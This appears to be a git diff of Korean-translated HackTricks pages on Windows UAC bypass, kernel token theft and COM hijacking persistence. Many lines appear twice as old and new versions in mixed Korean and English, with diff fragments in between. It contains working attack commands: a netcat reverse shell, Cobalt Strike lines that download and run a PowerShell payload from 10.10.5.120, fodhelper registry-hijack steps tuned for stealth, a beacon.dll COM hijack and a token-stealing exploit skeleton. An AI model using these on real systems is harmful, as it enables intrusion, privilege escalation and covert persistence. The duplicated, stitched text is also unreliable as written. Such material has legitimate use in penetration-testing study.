이러한 검사들을 우회하는 또 다른 방법은 **PEB를 수정(modify the PEB)** 하는 것입니다. Windows의 모든 프로세스는 Process Environment Block(PEB)을 가지며, 여기에는 실행 파일 경로 같은 프로세스에 대한 중요한 데이터가 포함되어 있습니다. PEB를 수정하면 공격자는 자신의 악성 프로세스의 위치를 위조(spoof)하여 신뢰된 디렉터리(예: system32)에서 실행되는 것처럼 보이게 할 수 있습니다. 이렇게 위조된 정보는 COM 객체를 속여 사용자에게 프롬프트를 표시하지 않고 권한을 자동으로 상승시키게 합니다.
이러한 검사를 우회하는 또 다른 방법은 **PEB를 수정**하는 것입니다. Windows의 모든 프로세스는 실행 파일 경로 등 프로세스에 관한 중요한 데이터를 포함하는 Process Environment Block(PEB)을 가지고 있습니다. PEB를 수정함으로써 공격자는 자신의 악성 프로세스의 위치를 위조(spoof)하여 신뢰되는 디렉터리(예: system32)에서 실행되는 것처럼 보이게 할 수 있습니다. 이 스푸핑된 정보는 COM 객체를 속여 사용자에게 프롬프트를 표시하지 않고 권한을 자동으로 상승시키게 합니다.
그 결과, UAC를 **bypass**(medium integrity 레벨에서 **high**로 상승)하기 위해 일부 공격자는 이러한 종류의 바이너리를 이용해 **arbitrary code를 실행**합니다. 이는 코드가 **High level integrity process**에서 실행되기 때문입니다.
그 결과 UAC를 **bypass**(medium 무결성 수준에서 high로 상승)하기 위해 일부 공격자는 이러한 종류의 바이너리를 이용해 **execute arbitrary code**를 수행합니다. 이는 코드가 **High level integrity process**에서 실행되기 때문입니다.
바이너리의 _**Manifest**_를 확인하려면 Sysinternals의 도구 _**sigcheck.exe**_를 사용할 수 있습니다. (`sigcheck.exe -m <file>`) 프로세스의 **integrity level**은 _Process Explorer_ 또는 _Process Monitor_(Sysinternals)를 사용해 확인할 수 있습니다.
바이너리의 _**Manifest**_는 Sysinternals의 도구 _**sigcheck.exe**_로 확인할 수 있습니다. (`sigcheck.exe -m <file>`) 또한 프로세스의 **integrity level**은 Sysinternals의 _Process Explorer_ 또는 _Process Monitor_로 확인할 수 있습니다.
### Check UAC
UAC가 활성화되어 있는지 확인하려면:
UAC가 활성화되어 있는지 확인하려면 다음을 실행하세요:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
```
값이 **`1`**이면 UAC가 **활성화**된 것이고, 값이 **`0`**이거나 존재하지 않으면 UAC는 **비활성화**된 것입니다.
만약 **`1`**이면 UAC는 **활성화됨**, **`0`**이거나 존재하지 않으면 UAC는 **비활성화됨**.
그런 다음 구성된 **레벨**을 확인하세요:
그런 다음, **어떤 레벨**이 구성되어 있는지 확인하세요:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- If **`0`**이면 UAC는 프롬프트를 표시하지 않습니다(예: **비활성화됨**)
- If **`1`**이면 관리자는 고권한으로 바이너리를 실행하기 위해 **사용자 이름과 비밀번호를 입력하라고 요청**받습니다( on Secure Desktop)
- If **`2`**(**항상 알림**)이면 관리자가 고권한으로 실행을 시도할 때 UAC는 항상 확인을 요청합니다( on Secure Desktop)
- If **`3`**`1`과 같지만 Secure Desktop에서는 필요하지 않습니다
- If **`4`**`2`와 같지만 Secure Desktop에서는 필요하지 않습니다
- if **`5`**(**기본값**)이면 비-Windows 바이너리를 고권한으로 실행할 때 관리자의 확인을 요구합니다
- If **`0`** then, UAC won't prompt (like **사용 안 함**)
- If **`1`** the admin is **사용자 이름과 비밀번호를 요구받음** to execute the binary with high rights (on 보안 데스크톱)
- If **`2`** (**항상 알림**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on 보안 데스크톱)
- If **`3`** like `1` but not necessary on 보안 데스크톱
- If **`4`** like `2` but not necessary on 보안 데스크톱
- if **`5`**(**기본값**) it will ask the administrator to confirm to run non Windows binaries with high privileges
그다음으로 **`LocalAccountTokenFilterPolicy`** 값도 확인해야 합니다\
값이 **`0`**이면 **RID 500** 사용자(**built-in Administrator**)만 **UAC 없이 관리자 작업을 수행**할 수 있고, 값이 `1`이면 **"Administrators" 그룹에 속한 모든 계정**이 해당 작업을 수행할 수 있습니다.
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
마지막으로 키 **`FilterAdministratorToken`** 값도 확인하세요\
값이 **`0`**(기본값)이면 **built-in Administrator 계정은** 원격 관리 작업을 수행할 수 있고, 값이 **`1`**이면 built-in Administrator 계정은 원격 관리 작업을 수행할 수 없습니다. 단, `LocalAccountTokenFilterPolicy``1`로 설정된 경우는 예외입니다.
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
#### Summary
- If `EnableLUA=0` or **존재하지 않음**, **모든 사용자에게 UAC 없음**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , 모든 사용자에게 UAC 없음**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, RID 500( Built-in Administrator )에게 UAC 없음**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, 모든 사용자에게 UAC 적용**
- If `EnableLUA=0` or **존재하지 않음**, **아무에게도 UAC 없음**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1`**, **아무에게도 UAC 없음**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`**, RID 500 (Built-in Administrator)에는 UAC 없음
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`**, 모든 사용자에게 UAC 적용
이 모든 정보는 **metasploit** 모듈을 사용하여 수집할 수 있습니다: `post/windows/gather/win_privs`
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
또한 사용자 계정의 그룹을 확인하고 integrity level(무결성 수준)을 확인할 수 있습니다:
You can also check the groups of your user and get the integrity level:
```
net user %username%
whoami /groups | findstr Level
```
## UAC bypass
## UAC 우회
> [!TIP]
> 피해자에게 그래픽 접근이 가능한 경우, UAC bypass는 간단합니다 — UAC 프롬프트가 표시될 때 단순히 "Yes"를 클릭하면 됩니다
> 피해자에 그래픽으로 접근할 수 있다면, UAC 프롬프트가 뜰 때 단순히 "예"를 클릭하면 되므로 UAC 우회는 매우 간단하다는 점을 참고하세요
UAC bypass는 다음 상황에서 필요합니다: **UAC가 활성화되어 있고, 프로세스가 medium integrity 컨텍스트에서 실행 중이며, 사용자가 administrators 그룹에 속해 있는 경우**.
UAC 우회는 다음 상황에서 필요합니다: **UAC가 활성화되어 있고, 프로세스가 medium integrity context에서 실행 중이며, 사용자가 administrators 그룹에 속해 있는 경우**.
특히 UAC가 최고 보안 수준(Always)에 있을 경우에는 다른 모든 레벨(Default)에 있을 때보다 **UAC를 우회하기가 훨씬 더 어렵다는 점**을 언급하는 것이 중요합니다.
특히 UAC가 최고 보안 수준(Always)에 설정된 경우에는 다른 모든 수준(Default)에 비해 **UAC를 우회하기가 훨씬 더 어렵다**는 점을 언급하는 것이 중요합니다.
### UAC 비활성화
### UAC disabled
UAC가 이미 비활성화되어 있는 경우 (`ConsentPromptBehaviorAdmin`**`0`**) 다음과 같이 **admin privileges로 reverse shell을 실행**(high integrity level)할 수 있습니다:
UAC가 이미 비활성화되어 있는 경우 (`ConsentPromptBehaviorAdmin`**`0`**) 다음과 같이 **reverse shell을 admin privileges로 실행할 수 있습니다** (high integrity level) 다음과 같은 방법을 사용하여:
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
@ -111,12 +111,12 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
### **매우** 기본적인 UAC "bypass" (전체 파일 시스템 접근)
### **Very** Basic UAC "bypass" (full file system access)
Administrators group에 속한 사용자로 셸을 가지고 있다면, SMB(파일 시스템)를 통해 공유된 **mount the C$**를 새 드라이브에 로컬로 마운트할 수 있으며, 그러면 파일 시스템 내부의 모든 것에 **access to everything inside the file system**(심지어 Administrator home folder까지)에 접근하게 됩니다.
만약 Administrators 그룹에 속한 사용자로 쉘이 있다면, 로컬에서 SMB를 통해 **mount the C$** 공유를 새 디스크로 마운트할 수 있고, 그러면 파일 시스템 내부의 모든 항목에 **access to everything inside the file system** (심지어 Administrator home folder까지) 접근할 수 있습니다.
> [!WARNING]
> **이 트릭은 더 이상 작동하지 않는 것으로 보입니다**
> **이 방법은 더 이상 작동하지 않는 것 같습니다**
```bash
net use Z: \\127.0.0.1\c$
cd C$
@ -126,7 +126,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop
```
### UAC bypass with cobalt strike
Cobalt Strike techniques는 UAC가 최대 보안 수준으로 설정되어 있지 않은 경우에만 작동합니다.
Cobalt Strike 기술은 UAC가 최대 보안 수준으로 설정되어 있지 않은 경우에만 작동합니다.
```bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
@ -138,16 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
```
**Empire**와 **Metasploit**에는 **UAC**를 **bypass**하기 위한 여러 모듈도 있습니다.
**Empire**와 **Metasploit**에는 **UAC**를 **bypass**하기 위한 여러 모듈도 있다.
### KRBUACBypass
문서 도구: [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
문서 도구: [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
### UAC bypass exploits
[**UACME**](https://github.com/hfiref0x/UACME)은 여러 UAC bypass exploits의 **모음집**입니다. 참고로 **visual studio 또는 msbuild를 사용해 UACME를 컴파일해야 합니다**. 컴파일하면 여러 실행 파일(예: `Source\Akagi\outout\x64\Debug\Akagi.exe`)이 생성되며, **어떤 파일이 필요한지** 알아야 합니다.\
일부 bypasses는 **다른 프로그램을 실행하도록 유도**하여 그 프로그램들이 **사용자**에게 **무언가가 일어나고 있음을 알릴** 수 있으므로 **주의해야 합니다**.
[**UACME** ](https://github.com/hfiref0x/UACME)는 여러 UAC bypass exploits의 **모음집**이다. 참고로 **compile UACME using visual studio or msbuild** 해야 한다. 컴파일하면 여러 실행 파일(예: `Source\Akagi\outout\x64\Debug\Akagi.exe`)이 생성되며, 어떤 파일이 필요한지 **알아야 한다.**\
일부 bypass는 다른 프로그램을 호출하여 사용자에게 알림을 보낼 수 있으므로 **주의해야 한다.**
UACME에는 각 technique가 동작을 시작한 **build version**이 기재되어 있다. 자신의 버전에 영향을 주는 technique를 검색할 수 있다:
```
PS C:\> [environment]::OSVersion.Version
@ -155,17 +157,17 @@ Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
```
Also, [this](https://en.wikipedia.org/wiki/Windows_10_version_history) 페이지를 사용하면 빌드 버전에서 Windows 릴리스 `1607`을 확인할 수 있습니다.
또한, [this](https://en.wikipedia.org/wiki/Windows_10_version_history) 페이지를 사용하면 빌드 버전에서 Windows 릴리스 `1607`을 확인할 수 있습니다.
### UAC Bypass fodhelper.exe (Registry hijack)
신뢰된 바이너리 `fodhelper.exe`는 최신 Windows에서 자동으로 상승됩니다. 실행될 때, 아래의 per-user 레지스트리 경로를 조회하며 `DelegateExecute` verb를 검증하지 않습니다. 그곳에 명령을 심으면 Medium Integrity 프로세스(사용자가 Administrators에 속함)가 UAC 프롬프트 없이 High Integrity 프로세스를 생성할 수 있습니다.
신뢰된 바이너리 `fodhelper.exe`는 최신 Windows에서 auto-elevated 됩니다. 실행될 때, 아래의 per-user registry path를 조회하며 `DelegateExecute` verb를 검증하지 않습니다. 그 위치에 명령을 심으면 Medium Integrity 프로세스(사용자가 Administrators에 있는 경우)가 UAC prompt 없이 High Integrity 프로세스를 생성할 수 있습니다.
Registry path queried by fodhelper:
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
PowerShell 단계 (payload를 설정한 다음 트리거):
PowerShell 단계 (set your payload, then trigger):
```powershell
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
@ -185,11 +187,11 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
```
Notes:
- 현재 사용자가 Administrators 그룹의 멤버이고 UAC 레벨이 기본/완화(default/lenient)인 경우 작동합니다(추가 제한이 있는 Always Notify는 해당되지 않습니다).
- 현재 사용자가 Administrators 멤버이고 UAC 레벨이 기본/관대(default/lenient)일 때 작동합니다 (Always Notify with extra restrictions가 아닐 경우).
- 64-bit Windows에서 32-bit 프로세스에서 64-bit PowerShell을 시작하려면 `sysnative` 경로를 사용하세요.
- Payload는 PowerShell, cmd 또는 EXE 경로 등 어떤 명령이든 될 수 있습니다. 스텔스를 위해 프롬프트를 띄우는 UI는 피하세요.
- Payload는 PowerShell, cmd 또는 EXE 경로 등 어떤 명령이든 될 수 있습니다. 은밀성을 위해 프롬프트 UI를 유발하는 것은 피하세요.
#### 추가 UAC 우회
#### More UAC bypass
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
@ -197,32 +199,32 @@ You can get using a **meterpreter** session. Migrate to a **process** that has t
![](<../../images/image (863).png>)
(_explorer.exe_ should works)
(_explorer.exe_가 작동해야 합니다)
### GUI를 통한 UAC 우회
### UAC Bypass with GUI
GUI에 접근할 수 있다면 UAC 프롬프트가 뜰 때 단순히 수락하면 되므로 실제로 우회가 필요하지 않습니다. 따라서 GUI 접근을 얻으면 UAC를 우회할 수 있습니다.
GUI에 접근할 수 있다면, UAC prompt가 뜰 때 단순히 승인하면 되므로 실제로 bypass가 필요하지 않습니다. 따라서 GUI 접근을 얻으면 UAC를 우회할 수 있습니다.
게다가, 누군가 사용 중이던 GUI 세션(예: RDP)을 획득하면, 관리자 권한으로 실행 중인 일부 도구들이 있어서 그 도구들로부터 예를 들어 **cmd**를 **as admin**으로 직접 실행할 수 있어 UAC에서 다시 프롬프트가 뜨지 않습니다. 이 방법이 약간 더 **stealthy**할 수 있습니다. [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)
또한, 다른 사용자가 사용 중이던 GUI 세션(예: RDP)을 확보하면, **관리자 권한으로 실행되는 일부 도구들**이 있어 거기에서 예를 들어 **cmd**를 **관리자 권한으로** 직접 **실행**할 수 있고 이 경우 다시 UAC로 프롬프트되지 않습니다. 예: [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). 이것은 **좀 더 은밀할 수 있습니다.**
### 시끄러운 브루트포스 UAC 우회
### Noisy brute-force UAC bypass
시끄러움을 신경 쓰지 않는다면 **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 를 실행해 사용자가 수락할 때까지 권한 상승을 요청할 수 있습니다.
소음(노이즈)을 신경쓰지 않는다면 [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 같은 것을 **실행하여** 사용자가 수락할 때까지 권한 상승을 요청하게 할 수 있습니다.
### 자체 우회 방법 - 기본 UAC 우회 방법론
### Your own bypass - Basic UAC bypass methodology
If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
UACME를 보면 대부분의 UAC 우회는 **Dll Hijacking** 취약점을 악용한다는 것을 알 수 있습니다 (주로 악성 dll을 _C:\Windows\System32_에 씁니다). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
1. 취약한 **autoelevate** 바이너리를 찾으세요(실행 시 높은 integrity level로 동작하는지 확인).
2. procmon으로 **"NAME NOT FOUND"** 이벤트를 찾아 **DLL Hijacking**에 취약한 부분을 확인하세요.
3. 악성 DLL을 _C:\Windows\System32_ 같은 쓰기 권한이 없는 **protected paths**에 **write**해야 할 수 있습니다. 이를 우회하기 위해 다음을 사용할 수 있습니다:
1. **wusa.exe**: Windows 7,8 and 8.1. 이 도구는 높은 integrity level에서 실행되기 때문에 CAB 파일의 내용을 protected paths에 추출할 수 있게 합니다.
2. **IFileOperation**: Windows 10.
4. DLL을 protected path로 복사하고 취약하고 autoelevated된 바이너리를 실행하는 **script**를 준비하세요.
1. **autoelevate**하는 바이너리를 찾으세요 (실행 시 높은 무결성 레벨에서 동작하는지 확인).
2. procmon을 사용해 **"NAME NOT FOUND"** 이벤트를 찾아 **DLL Hijacking**에 취약한 위치를 확인하세요.
3. 쓰기 권한이 없는 일부 **protected paths**(예: C:\Windows\System32) DLL을 **write**해야 할 수 있습니다. 이를 우회하기 위해 다음을 사용할 수 있습니다:
1. **wusa.exe**: Windows 7, 8 및 8.1. 이 도구는 높은 무결성 레벨에서 실행되므로 CAB 파일의 내용을 보호된 경로에 추출할 수 있게 해줍니다.
2. **IFileOperation**: Windows 10.
4. 보호된 경로에 DLL을 복사하고 취약하고 autoelevated된 바이너리를 실행하도록 하는 **script**를 준비하세요.
### 또 다른 UAC 우회 기법
### Another UAC bypass technique
이는 **autoElevated binary**가 **registry**에서 실행할 **binary** 또는 **command**의 **name/path**를 **read**하려 하는지 감시하는 방식입니다(해당 바이너리가 이 정보를 **HKCU**에서 찾는 경우 더 흥미롭습니다).
autoElevated binary가 레지스트리에서 실행할 바이너리나 명령의 **name/path**를 **read**하려고 하는지 관찰하는 기법입니다 (해당 바이너리가 이 정보를 **HKCU**에서 찾는다면 더 흥미롭습니다).
## References
- [HTB: Rainbow SEH overflow to RCE over HTTP (0xdf) fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)

View File

@ -4,35 +4,35 @@
## 개요
취약한 드라이버가 IOCTL을 통해 공격자에게 임의의 커널 읽기 및/또는 쓰기 primitives를 제공하면, NT AUTHORITY\SYSTEM으로의 권한 상승은 종종 SYSTEM 액세스 토큰을 훔쳐서 달성할 수 있습니다. 이 기법은 SYSTEM 프로세스의 EPROCESS에 있는 Token 포인터를 현재 프로세스의 EPROCESS로 복사합니다.
취약한 드라이버가 공격자에게 임의의 커널 읽기 및/또는 쓰기 primitives를 제공하는 IOCTL을 노출하면, NT AUTHORITY\SYSTEM으로 권한 상승은 종종 SYSTEM 접근 token을 탈취함으로써 달성할 수 있습니다. 이 기법은 SYSTEM 프로세스의 EPROCESS에서 Token 포인터를 현재 프로세스의 EPROCESS로 복사합니다.
작 원리:
- 각 프로세스는 EPROCESS 구조체를 가지고 있으며 그 안에는 (다른 필드들 중) Token(실제로는 토큰 객체를 가리키는 EX_FAST_REF)이 포함되어 있습니다.
- SYSTEM 프로세스(PID 4)는 모든 권한이 활성화된 토큰을 보유하고 있습니다.
원리:
- 각 프로세스는 EPROCESS 구조체를 가지며(다른 필드들 중에서) Token(실제로는 토큰 객체에 대한 EX_FAST_REF)을 포함합니다.
- SYSTEM 프로세스(PID 4)는 모든 권한이 활성화된 토큰을 보유니다.
- 현재 프로세스의 EPROCESS.Token을 SYSTEM 토큰 포인터로 교체하면 현재 프로세스는 즉시 SYSTEM으로 실행됩니다.
> EPROCESS의 오프셋은 Windows 버전마다 다릅니다. 동적으로 결정(심볼)하거나 버전별 상수를 사용하세요. 또한 EPROCESS.Token은 EX_FAST_REF임을 기억하세요(하위 3비트는 참조 카운트 플래그로 사용).
> EPROCESS의 오프셋은 Windows 버전마다 다릅니다. 동적으로(심볼) 결정하거나 버전별 상수를 사용하세요. 또한 EPROCESS.Token은 EX_FAST_REF라는 점(하위 3비트가 참조 카운트 플래그로 사용됨)을 기억하세요.
## 고수준 단계
1) ntoskrnl.exe 베이스를 찾고 PsInitialSystemProcess의 주소를 해결합니다.
- 사용자 모드에서 NtQuerySystemInformation(SystemModuleInformation) 또는 EnumDeviceDrivers를 사용해 로드된 드라이버 베이스를 얻습니다.
- 커널 베이스에 PsInitialSystemProcess의 오프셋(심볼/리버싱에서 얻은)을 더해 해당 주소를 얻습니다.
1) ntoskrnl.exe 베이스를 찾고 PsInitialSystemProcess의 주소를 확인합니다.
- 사용자 모드에서 NtQuerySystemInformation(SystemModuleInformation) 또는 EnumDeviceDrivers를 사용해 로드된 드라이버 베이스를 얻습니다.
- 커널 베이스에 PsInitialSystemProcess의 오프셋(심볼/리버싱에서 얻은)을 더해 해당 주소를 얻습니다.
2) PsInitialSystemProcess에서 포인터를 읽습니다 → 이는 SYSTEM의 EPROCESS를 가리키는 커널 포인터입니다.
3) SYSTEM EPROCESS에서 UniqueProcessId ActiveProcessLinks 오프셋을 읽어 EPROCESS 구조체의 이중 연결 리스트(ActiveProcessLinks.Flink/Blink)를 순회하여 UniqueProcessId가 GetCurrentProcessId()와 일치하는 EPROCESS를 찾습니다. 다음 두 값을 보관하세요:
3) SYSTEM EPROCESS에서 UniqueProcessId ActiveProcessLinks 오프셋을 읽어 EPROCESS 구조체의 이중 연결 리스트(ActiveProcessLinks.Flink/Blink)를 순회하여 UniqueProcessId가 GetCurrentProcessId()와 일치하는 EPROCESS를 찾습니다. 다음 두 값을 보관하세요:
- EPROCESS_SYSTEM (SYSTEM용)
- EPROCESS_SELF (현재 프로세스용)
4) SYSTEM 토큰 값 읽기: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
- 하위 3비트 마스크 처리: Token_SYS_masked = Token_SYS & ~0xF (빌드에 따라 일반적으로 ~0xF 또는 ~0x7 사용; x64에서는 하위 3비트 사용 — 0xFFFFFFFFFFFFFFF8 마스크).
5) 옵션 A(일반적): 현재 토큰의 하위 3비트를 보존하여 SYSTEM 포인터에 이어붙이면 임베디드 참조 카운트가 일관되게 유지됩니다.
- 하위 3비트를 마스킹: Token_SYS_masked = Token_SYS & ~0xF (빌드에 따라 일반적으로 ~0xF 또는 ~0x7; x64에서는 하위 3비트 사용 — 0xFFFFFFFFFFFFFFF8 마스크).
5) Option A (일반적): 현재 토큰에서 하위 3비트를 보존하여 SYSTEM 포인터에 합쳐 내장된 참조 카운트 일관성을 유지합니다.
- Token_ME = *(EPROCESS_SELF + TokenOffset)
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
6) 커널 쓰기 프리미티브를 사용해 Token_NEW를 (EPROCESS_SELF + TokenOffset)에 다시 씁니다.
7) 현재 프로세스는 이제 SYSTEM입니다. 선택적으로 새 cmd.exe 또는 powershell.exe를 실행해 확인하세요.
6) 커널 쓰기 primitive를 사용해 Token_NEW를 (EPROCESS_SELF + TokenOffset)에 다시 씁니다.
7) 현재 프로세스는 이제 SYSTEM입니다. 선택적으로 새로운 cmd.exe 또는 powershell.exe를 실행해 확인하세요.
## 의사코드
아래는 취약한 드라이버의 두 IOCTL만 사용하는 골격입니다 — 하나는 8바이트 커널 읽기, 하나는 8바이트 커널 쓰기용입니다. 자신의 드라이버 인터페이스로 교체하세요.
아래는 취약한 드라이버의 두 IOCTL(하나는 8-byte 커널 읽기, 다른 하나는 8-byte 커널 쓰기)만 사용하는 골격입니다. 드라이버 인터페이스에 맞게 교체하세요.
```c
#include <Windows.h>
#include <Psapi.h>
@ -105,17 +105,17 @@ system("cmd.exe");
return 0;
}
```
참고:
- Offsets: 대상의 PDBs 또는 런타임 심볼 로더와 함께 WinDbg의 `dt nt!_EPROCESS`를 사용하여 올바른 오프셋을 얻으십시오. 무작정 하드코딩하지 마세요.
- Mask: x64에서 token은 EX_FAST_REF입니다; 하위 3비트는 참조 카운트 비트입니다. token의 원래 하위 비트를 유지하면 즉시 refcount 불일치를 피할 수 있습니다.
- Stability: 현재 프로세스를 권한 상승하는 것을 권장합니다. 짧게 실행되는 헬퍼를 상승시키면 종료 시 SYSTEM을 잃을 수 있습니다.
노트:
- Offsets: 타깃의 PDBs 또는 런타임 심볼 로더와 함께 WinDbg의 `dt nt!_EPROCESS`를 사용하여 올바른 오프셋을 확인하세요. 무턱대고 하드코딩하지 마십시오.
- Mask: x64에서는 토큰이 EX_FAST_REF입니다; 하위 3비트는 참조 카운트 비트입니다. 토큰의 원래 하위 비트를 유지하면 즉각적인 refcount 불일치를 피할 수 있습니다.
- Stability: 현재 프로세스의 권한 상승을 우선하세요; 단명하는 헬퍼를 승격하면 해당 프로세스가 종료될 때 SYSTEM 권한을 잃을 수 있습니다.
## 탐지 및 완화
- 강력한 IOCTLs를 노출하는 서명되지 않았거나 신뢰할 수 없는 타사 드라이버를 로드하는 것이 근본 원인입니다.
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard 및 Attack Surface Reduction 규칙은 취약한 드라이버의 로딩을 차단할 수 있습니다.
- EDR은 arbitrary read/write를 구현하는 의심스러운 IOCTL 시퀀스와 token 교체를 감시할 수 있습니다.
- 서명되지 않았거나 신뢰할 수 없는 서드파티 드라이버가 강력한 IOCTL을 노출하는 것이 근본 원인입니다.
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction 규칙은 취약한 드라이버의 로드를 방지할 수 있습니다.
- EDR는 임의의 읽기/쓰기(arbitrary read/write)를 구현하는 의심스러운 IOCTL 시퀀스와 토큰 교체를 모니터링할 수 있습니다.
## References
## 참고자료
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [FuzzySecurity Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
### 존재하지 않는 COM 구성 요소 검색
### 존재하지 않는 COM 구성요소 검색
사용자가 HKCU 값을 수정할 수 있기 때문에 **COM Hijacking**은 **영구적인 지속성 수단**으로 사용될 수 있습니다. `procmon`을 사용하면 공격자가 지속성을 위해 생성할 수 있는, 검색되었지만 존재하지 않는 COM 레지스트리를 쉽게 찾을 수 있습니다. 필터:
HKCU의 값은 사용자가 수정할 수 있으므로 **COM Hijacking**은 **영구 지속 메커니즘(persistent mechanism)**으로 사용될 수 있습니다. `procmon`을 사용하면 공격자가 지속성을 위해 생성할 수 있는 존재하지 않는 COM 레지스트리를 쉽게 찾을 수 있습니다. 필터:
- **RegOpenKey** 작업.
- _Result_가 **NAME NOT FOUND**인 항목.
- _Path_가 **InprocServer32**로 끝나는 항목.
- _Path_가 **InprocServer32**로 끝나는 항목.
어떤 존재하지 않는 COM을 사칭할지 결정했으면 다음 명령을 실행하세요. _몇 초마다 로드되는 COM을 사칭하기로 결정하면 과도할 수 있으므로 주의하세요._
어떤 존재하지 않는 COM을 가장할지 결정했으면 다음 명령을 실행하세요. _몇 초마다 로드되는 COM을 가장하면 과도할 수 있으니 주의하세요._
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
@ -49,9 +49,9 @@ Write-Host
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [more like the previous one...]</code></pre>
출력을 확인하면 예를 들어 **사용자가 로그인할 때마다** 실행될 항목을 선택할 수 있습니다.
출력 결과를 확인하면 예를 들어 **사용자가 로그인할 때마다** 실행되는 항목을 선택할 수 있습니다.
이제 **{1936ED8A-BD93-3213-E325-F38D112938EF}**를 **HKEY\CLASSES\ROOT\CLSID**와 HKLM 및 HKCU에서 검색하면, 일반적으로 해당 값이 HKCU에는 존재하지 않는 것을 알게 됩니다.
이제 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**를 **HKEY\CLASSES\ROOT\CLSID** 및 HKLM과 HKCU에서 검색하면, 일반적으로 해당 값이 HKCU에는 존재하지 않는 것을 알게 됩니다.
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,32 +72,32 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
그런 다음 HKCU entry를 만들기만 하면 사용자가 로그인할 때마다 backdoor가 실행됩니다.
그런 다음 HKCU 엔트리를 생성하기만 하면 사용자가 로그온할 때마다 당신의 backdoor가 실행됩니다.
---
## COM TypeLib Hijacking (script: moniker persistence)
